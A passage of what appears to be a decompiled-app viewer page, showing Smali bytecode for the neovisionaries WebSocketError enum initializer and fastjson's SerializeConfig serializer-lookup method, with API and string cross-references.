                                                409sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->INSUFFICENT_DATA:Lcom/neovisionaries/ws/client/WebSocketError;
                                                410const/16 v2, 0x13
                                                411aput-object v1, v0, v2
                                                413sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->INVALID_PAYLOAD_LENGTH:Lcom/neovisionaries/ws/client/WebSocketError;
                                                414const/16 v2, 0x14
                                                415aput-object v1, v0, v2
                                                417sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->TOO_LONG_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                418const/16 v2, 0x15
                                                419aput-object v1, v0, v2
                                                421sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->INSUFFICIENT_MEMORY_FOR_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                422const/16 v2, 0x16
                                                423aput-object v1, v0, v2
                                                425sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->INTERRUPTED_IN_READING:Lcom/neovisionaries/ws/client/WebSocketError;
                                                426const/16 v2, 0x17
                                                427aput-object v1, v0, v2
                                                429sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->IO_ERROR_IN_READING:Lcom/neovisionaries/ws/client/WebSocketError;
                                                430const/16 v2, 0x18
                                                431aput-object v1, v0, v2
                                                433sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->IO_ERROR_IN_WRITING:Lcom/neovisionaries/ws/client/WebSocketError;
                                                434const/16 v2, 0x19
                                                435aput-object v1, v0, v2
                                                437sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->FLUSH_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                438const/16 v2, 0x1a
                                                439aput-object v1, v0, v2
                                                441sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->NON_ZERO_RESERVED_BITS:Lcom/neovisionaries/ws/client/WebSocketError;
                                                442const/16 v2, 0x1b
                                                443aput-object v1, v0, v2
                                                445sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_RESERVED_BIT:Lcom/neovisionaries/ws/client/WebSocketError;
                                                446const/16 v2, 0x1c
                                                447aput-object v1, v0, v2
                                                449sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->FRAME_MASKED:Lcom/neovisionaries/ws/client/WebSocketError;
                                                450const/16 v2, 0x1d
                                                451aput-object v1, v0, v2
                                                453sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->UNKNOWN_OPCODE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                454const/16 v2, 0x1e
                                                455aput-object v1, v0, v2
                                                457sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->FRAGMENTED_CONTROL_FRAME:Lcom/neovisionaries/ws/client/WebSocketError;
                                                458const/16 v2, 0x1f
                                                459aput-object v1, v0, v2
                                                461sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_CONTINUATION_FRAME:Lcom/neovisionaries/ws/client/WebSocketError;
                                                462const/16 v2, 0x20
                                                463aput-object v1, v0, v2
                                                465sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->CONTINUATION_NOT_CLOSED:Lcom/neovisionaries/ws/client/WebSocketError;
                                                466const/16 v2, 0x21
                                                467aput-object v1, v0, v2
                                                469sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->TOO_LONG_CONTROL_FRAME_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                470const/16 v2, 0x22
                                                471aput-object v1, v0, v2
                                                473sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->MESSAGE_CONSTRUCTION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                474const/16 v2, 0x23
                                                475aput-object v1, v0, v2
                                                477sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->TEXT_MESSAGE_CONSTRUCTION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                478const/16 v2, 0x24
                                                479aput-object v1, v0, v2
                                                481sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_ERROR_IN_READING_THREAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                482const/16 v2, 0x25
                                                483aput-object v1, v0, v2
                                                485sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_ERROR_IN_WRITING_THREAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                486const/16 v2, 0x26
                                                487aput-object v1, v0, v2
                                                489sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->PERMESSAGE_DEFLATE_UNSUPPORTED_PARAMETER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                490const/16 v2, 0x27
                                                491aput-object v1, v0, v2
                                                493sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->PERMESSAGE_DEFLATE_INVALID_MAX_WINDOW_BITS:Lcom/neovisionaries/ws/client/WebSocketError;
                                                494const/16 v2, 0x28
                                                495aput-object v1, v0, v2
                                                497sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->COMPRESSION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                498const/16 v2, 0x29
                                                499aput-object v1, v0, v2
                                                501sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->DECOMPRESSION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                502const/16 v2, 0x2a
                                                503aput-object v1, v0, v2
                                                505sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->SOCKET_CONNECT_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                506const/16 v2, 0x2b
                                                507aput-object v1, v0, v2
                                                509sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->PROXY_HANDSHAKE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                510const/16 v2, 0x2c
                                                511aput-object v1, v0, v2
                                                513sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->SOCKET_OVERLAY_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                514const/16 v2, 0x2d
                                                515aput-object v1, v0, v2
                                                517sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->SSL_HANDSHAKE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                518const/16 v2, 0x2e
                                                519aput-object v1, v0, v2
                                                521sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->NO_MORE_FRAME:Lcom/neovisionaries/ws/client/WebSocketError;
                                                522const/16 v2, 0x2f
                                                523aput-object v1, v0, v2
                                                525sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->HOSTNAME_UNVERIFIED:Lcom/neovisionaries/ws/client/WebSocketError;
                                                526const/16 v2, 0x30
                                                527aput-object v1, v0, v2
                                                528sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->$VALUES:[Lcom/neovisionaries/ws/client/WebSocketError;
                                                529return-void
                                                Cross References
                                                APIs
                                                • java.lang.Thread.currentThread
                                                • java.lang.Thread.getContextClassLoader
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.Class.getClassLoader
                                                • java.lang.Thread.currentThread
                                                • java.lang.Thread.getContextClassLoader
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.getSuperclass
                                                • java.lang.Class.getSuperclass
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.isArray
                                                • java.lang.Class.getComponentType
                                                • java.lang.Class.isAssignableFrom
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.getName
                                                • java.lang.String.startsWith
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.String.startsWith
                                                • java.lang.String.startsWith
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.String.startsWith
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.String.equals
                                                • java.lang.Class.forName
                                                • java.lang.Class.getSuperclass
                                                Strings
                                                • java.awt.
                                                • java.awt.Color
                                                • java.awt.Font
                                                • java.awt.Point
                                                • java.awt.Rectangle
                                                • java.time.
                                                • java.util.Optional
                                                • java.time.LocalDateTime
                                                • java.time.LocalDate
                                                • java.time.LocalTime
                                                • java.time.ZonedDateTime
                                                • java.time.OffsetDateTime
                                                • java.time.OffsetTime
                                                • java.time.ZoneOffset
                                                • java.time.ZoneRegion
                                                • java.time.Period
                                                • java.time.Duration
                                                • java.time.Instant
                                                • java.util.OptionalDouble
                                                • java.util.OptionalInt
                                                • java.util.OptionalLong
                                                • oracle.sql.
                                                • oracle.sql.DATE
                                                • oracle.sql.TIMESTAMP
                                                • springfox.documentation.spring.web.json.Json
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/lang/Class<",
                                                4"*>;Z)",
                                                5"Lcom/alibaba/fastjson/serializer/ObjectSerializer;"
                                                6}
                                                7.end annotation
                                                9iget-object v0, p0, Lcom/alibaba/fastjson/serializer/SerializeConfig;->serializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                11invoke-virtual {v0, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                12move-result-object v0
                                                13check-cast v0, Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                14if-nez v0, :cond_4d
                                                15try_start_a:
                                                16invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                17move-result-object v0
                                                19invoke-virtual {v0}, Ljava/lang/Thread;->getContextClassLoader()Ljava/lang/ClassLoader;
                                                20move-result-object v0
                                                21const-class v1, Lcom/alibaba/fastjson/serializer/AutowiredObjectSerializer;
                                                23invoke-static {v1, v0}, Lcom/alibaba/fastjson/util/ServiceLoader;->load(Ljava/lang/Class;Ljava/lang/ClassLoader;)Ljava/util/Set;
                                                24move-result-object v0
                                                26invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                27move-result-object v0
                                                28cond_1c:
                                                29invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
                                                30move-result v1
                                                31if-eqz v1, :cond_45
                                                33invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                34move-result-object v1
                                                35instance-of v2, v1, Lcom/alibaba/fastjson/serializer/AutowiredObjectSerializer;
                                                36if-nez v2, :cond_2b
                                                37goto/16 :goto_1c
                                                38cond_2b: check-cast v1, Lcom/alibaba/fastjson/serializer/AutowiredObjectSerializer;
                                                40invoke-interface {v1}, Lcom/alibaba/fastjson/serializer/AutowiredObjectSerializer;->getAutowiredFor()Ljava/util/Set;
                                                41move-result-object v2
                                                43invoke-interface {v2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                44move-result-object v2
                                                45goto_35:
                                                46invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                                                47move-result v3
                                                48if-eqz v3, :cond_1c
                                                50invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                51move-result-object v3
                                                52check-cast v3, Ljava/lang/reflect/Type;
                                                54invoke-virtual {p0, v3, v1}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                55try_end_44: goto/16 :goto_35
                                                56catch_45:
                                                57iget-object v0, p0, Lcom/alibaba/fastjson/serializer/SerializeConfig;->serializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                59invoke-virtual {v0, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                60move-result-object v0
                                                61check-cast v0, Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                62cond_4d: if-nez v0, :cond_9a
                                                63const-class v1, Lcom/alibaba/fastjson/JSON;
                                                65invoke-virtual {v1}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                                                66move-result-object v1
                                                68invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                69move-result-object v2
                                                71invoke-virtual {v2}, Ljava/lang/Thread;->getContextClassLoader()Ljava/lang/ClassLoader;
                                                72move-result-object v2
                                                73if-eq v1, v2, :cond_9a
                                                74try_start_5f: const-class v0, Lcom/alibaba/fastjson/serializer/AutowiredObjectSerializer;
                                                76invoke-static {v0, v1}, Lcom/alibaba/fastjson/util/ServiceLoader;->load(Ljava/lang/Class;Ljava/lang/ClassLoader;)Ljava/util/Set;
                                                77move-result-object v0
                                                79invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                80move-result-object v0
                                                81goto_69:
                                                82invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
                                                83move-result v1
                                                84if-eqz v1, :cond_92
                                                86invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                87move-result-object v1
                                                88instance-of v2, v1, Lcom/alibaba/fastjson/serializer/AutowiredObjectSerializer;
                                                89if-nez v2, :cond_78
                                                90goto/16 :goto_69
                                                91cond_78: check-cast v1, Lcom/alibaba/fastjson/serializer/AutowiredObjectSerializer;
                                                93invoke-interface {v1}, Lcom/alibaba/fastjson/serializer/AutowiredObjectSerializer;->getAutowiredFor()Ljava/util/Set;
                                                94move-result-object v2
                                                96invoke-interface {v2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                97move-result-object v2
                                                98goto_82:
                                                99invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                                                100move-result v3
                                                101if-eqz v3, :cond_69
                                                103invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                104move-result-object v3
                                                105check-cast v3, Ljava/lang/reflect/Type;
                                                107invoke-virtual {p0, v3, v1}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                108try_end_91: goto/16 :goto_82
                                                109catch_92:
                                                110iget-object v0, p0, Lcom/alibaba/fastjson/serializer/SerializeConfig;->serializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                112invoke-virtual {v0, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                113move-result-object v0
                                                114check-cast v0, Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                115cond_9a: if-nez v0, :cond_35e
                                                116const-class v0, Ljava/util/Map;
                                                118invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                119move-result v0
                                                120if-eqz v0, :cond_ab
                                                122sget-object p2, Lcom/alibaba/fastjson/serializer/MapSerializer;->instance:Lcom/alibaba/fastjson/serializer/MapSerializer;
                                                124invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                125goto/16 :goto_355
                                                126cond_ab: const-class v0, Ljava/util/List;
                                                128invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                129move-result v0
                                                130if-eqz v0, :cond_ba
                                                132sget-object p2, Lcom/alibaba/fastjson/serializer/ListSerializer;->instance:Lcom/alibaba/fastjson/serializer/ListSerializer;
                                                134invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                135goto/16 :goto_355
                                                136cond_ba: const-class v0, Ljava/util/Collection;
                                                138invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                139move-result v0
                                                140if-eqz v0, :cond_c9
                                                142sget-object p2, Lcom/alibaba/fastjson/serializer/CollectionCodec;->instance:Lcom/alibaba/fastjson/serializer/CollectionCodec;
                                                144invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                145goto/16 :goto_355
                                                146cond_c9: const-class v0, Ljava/util/Date;
                                                148invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                149move-result v0
                                                150if-eqz v0, :cond_d8
                                                152sget-object p2, Lcom/alibaba/fastjson/serializer/DateCodec;->instance:Lcom/alibaba/fastjson/serializer/DateCodec;
                                                154invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                155goto/16 :goto_355
                                                156cond_d8: const-class v0, Lcom/alibaba/fastjson/JSONAware;
                                                158invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                159move-result v0
                                                160if-eqz v0, :cond_e7
                                                162sget-object p2, Lcom/alibaba/fastjson/serializer/JSONAwareSerializer;->instance:Lcom/alibaba/fastjson/serializer/JSONAwareSerializer;
                                                164invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                165goto/16 :goto_355
                                                166cond_e7: const-class v0, Lcom/alibaba/fastjson/serializer/JSONSerializable;
                                                168invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                169move-result v0
                                                170if-eqz v0, :cond_f6
                                                172sget-object p2, Lcom/alibaba/fastjson/serializer/JSONSerializableSerializer;->instance:Lcom/alibaba/fastjson/serializer/JSONSerializableSerializer;
                                                174invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                175goto/16 :goto_355
                                                176cond_f6: const-class v0, Lcom/alibaba/fastjson/JSONStreamAware;
                                                178invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                179move-result v0
                                                180if-eqz v0, :cond_105
                                                182sget-object p2, Lcom/alibaba/fastjson/serializer/MiscCodec;->instance:Lcom/alibaba/fastjson/serializer/MiscCodec;
                                                184invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                185goto/16 :goto_355
                                                186cond_105:
                                                187invoke-virtual {p1}, Ljava/lang/Class;->isEnum()Z
                                                188move-result v0
                                                189if-nez v0, :cond_350
                                                191invoke-virtual {p1}, Ljava/lang/Class;->getSuperclass()Ljava/lang/Class;
                                                192move-result-object v0
                                                193if-eqz v0, :cond_11d
                                                195invoke-virtual {p1}, Ljava/lang/Class;->getSuperclass()Ljava/lang/Class;
                                                196move-result-object v0
                                                198invoke-virtual {v0}, Ljava/lang/Class;->isEnum()Z
                                                199move-result v0
                                                200if-eqz v0, :cond_11d
                                                201goto/16 :goto_350
                                                202cond_11d:
                                                203invoke-virtual {p1}, Ljava/lang/Class;->isArray()Z
                                                204move-result v0
                                                205if-eqz v0, :cond_135
                                                207invoke-virtual {p1}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                                                208move-result-object p2
                                                210invoke-virtual {p0, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->getObjectWriter(Ljava/lang/Class;)Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                211move-result-object v0
                                                212new-instance v1, Lcom/alibaba/fastjson/serializer/ArraySerializer;
                                                214invoke-direct {v1, p2, v0}, Lcom/alibaba/fastjson/serializer/ArraySerializer;-><init>(Ljava/lang/Class;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)V
                                                216invoke-virtual {p0, p1, v1}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                217goto/16 :goto_355
                                                218cond_135: const-class v0, Ljava/lang/Throwable;
                                                220invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                221move-result v0
                                                222if-eqz v0, :cond_157
                                                223const/4 p2, 0x0
                                                225iget-object v0, p0, Lcom/alibaba/fastjson/serializer/SerializeConfig;->propertyNamingStrategy:Lcom/alibaba/fastjson/PropertyNamingStrategy;
                                                227invoke-static {p1, p2, v0}, Lcom/alibaba/fastjson/util/TypeUtils;->buildBeanInfo(Ljava/lang/Class;Ljava/util/Map;Lcom/alibaba/fastjson/PropertyNamingStrategy;)Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;
                                                228move-result-object p2
                                                229iget v0, p2, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->features:I
                                                231sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                232iget v1, v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                233or-int/2addr v0, v1
                                                234iput v0, p2, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->features:I
                                                235new-instance v0, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;
                                                237invoke-direct {v0, p2}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;-><init>(Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;)V
                                                239invoke-virtual {p0, p1, v0}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                240goto/16 :goto_355
                                                241cond_157: const-class v0, Ljava/util/TimeZone;
                                                243invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                244move-result v0
                                                245if-eqz v0, :cond_166
                                                247sget-object p2, Lcom/alibaba/fastjson/serializer/MiscCodec;->instance:Lcom/alibaba/fastjson/serializer/MiscCodec;
                                                249invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                250goto/16 :goto_355
                                                251cond_166: const-class v0, Ljava/lang/Appendable;
                                                253invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                254move-result v0
                                                255if-eqz v0, :cond_175
                                                257sget-object p2, Lcom/alibaba/fastjson/serializer/AppendableSerializer;->instance:Lcom/alibaba/fastjson/serializer/AppendableSerializer;
                                                259invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                260goto/16 :goto_355
                                                261cond_175: const-class v0, Ljava/nio/charset/Charset;
                                                263invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                264move-result v0
                                                265if-eqz v0, :cond_184
                                                267sget-object p2, Lcom/alibaba/fastjson/serializer/ToStringSerializer;->instance:Lcom/alibaba/fastjson/serializer/ToStringSerializer;
                                                269invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                270goto/16 :goto_355
                                                271cond_184: const-class v0, Ljava/util/Enumeration;
                                                273invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                274move-result v0
                                                275if-eqz v0, :cond_193
                                                277sget-object p2, Lcom/alibaba/fastjson/serializer/EnumerationSerializer;->instance:Lcom/alibaba/fastjson/serializer/EnumerationSerializer;
                                                279invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                280goto/16 :goto_355
                                                281cond_193: const-class v0, Ljava/util/Calendar;
                                                283invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                284move-result v0
                                                285if-nez v0, :cond_34a
                                                286const-class v0, Ljavax/xml/datatype/XMLGregorianCalendar;
                                                288invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                289move-result v0
                                                290if-eqz v0, :cond_1a5
                                                291goto/16 :goto_34a
                                                292cond_1a5: const-class v0, Ljava/sql/Clob;
                                                294invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                295move-result v0
                                                296if-eqz v0, :cond_1b4
                                                298sget-object p2, Lcom/alibaba/fastjson/serializer/ClobSeriliazer;->instance:Lcom/alibaba/fastjson/serializer/ClobSeriliazer;
                                                300invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                301goto/16 :goto_355
                                                302cond_1b4:
                                                303invoke-static {p1}, Lcom/alibaba/fastjson/util/TypeUtils;->isPath(Ljava/lang/Class;)Z
                                                304move-result v0
                                                305if-eqz v0, :cond_1c1
                                                307sget-object p2, Lcom/alibaba/fastjson/serializer/ToStringSerializer;->instance:Lcom/alibaba/fastjson/serializer/ToStringSerializer;
                                                309invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                310goto/16 :goto_355
                                                311cond_1c1: const-class v0, Ljava/util/Iterator;
                                                313invoke-virtual {v0, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                314move-result v0
                                                315if-eqz v0, :cond_1d0
                                                317sget-object p2, Lcom/alibaba/fastjson/serializer/MiscCodec;->instance:Lcom/alibaba/fastjson/serializer/MiscCodec;
                                                319invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                320goto/16 :goto_355
                                                321cond_1d0:
                                                322invoke-virtual {p1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                323move-result-object v0
                                                325const-string v1, "java.awt."
                                                327invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                328move-result v1
                                                329const/4 v2, 0x1
                                                330if-eqz v1, :cond_219
                                                332invoke-static {p1}, Lcom/alibaba/fastjson/serializer/AwtCodec;->support(Ljava/lang/Class;)Z
                                                333move-result v1
                                                334if-eqz v1, :cond_219
                                                335sget-boolean p1, Lcom/alibaba/fastjson/serializer/SerializeConfig;->awtError:Z
                                                336if-nez p1, :cond_216
                                                337try_start_1e7:
                                                338const-string p1, "java.awt.Color"
                                                340invoke-static {p1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                341move-result-object p1
                                                343sget-object p2, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                345invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                347const-string p1, "java.awt.Font"
                                                349invoke-static {p1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                350move-result-object p1
                                                352sget-object p2, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                354invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                356const-string p1, "java.awt.Point"
                                                358invoke-static {p1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                359move-result-object p1
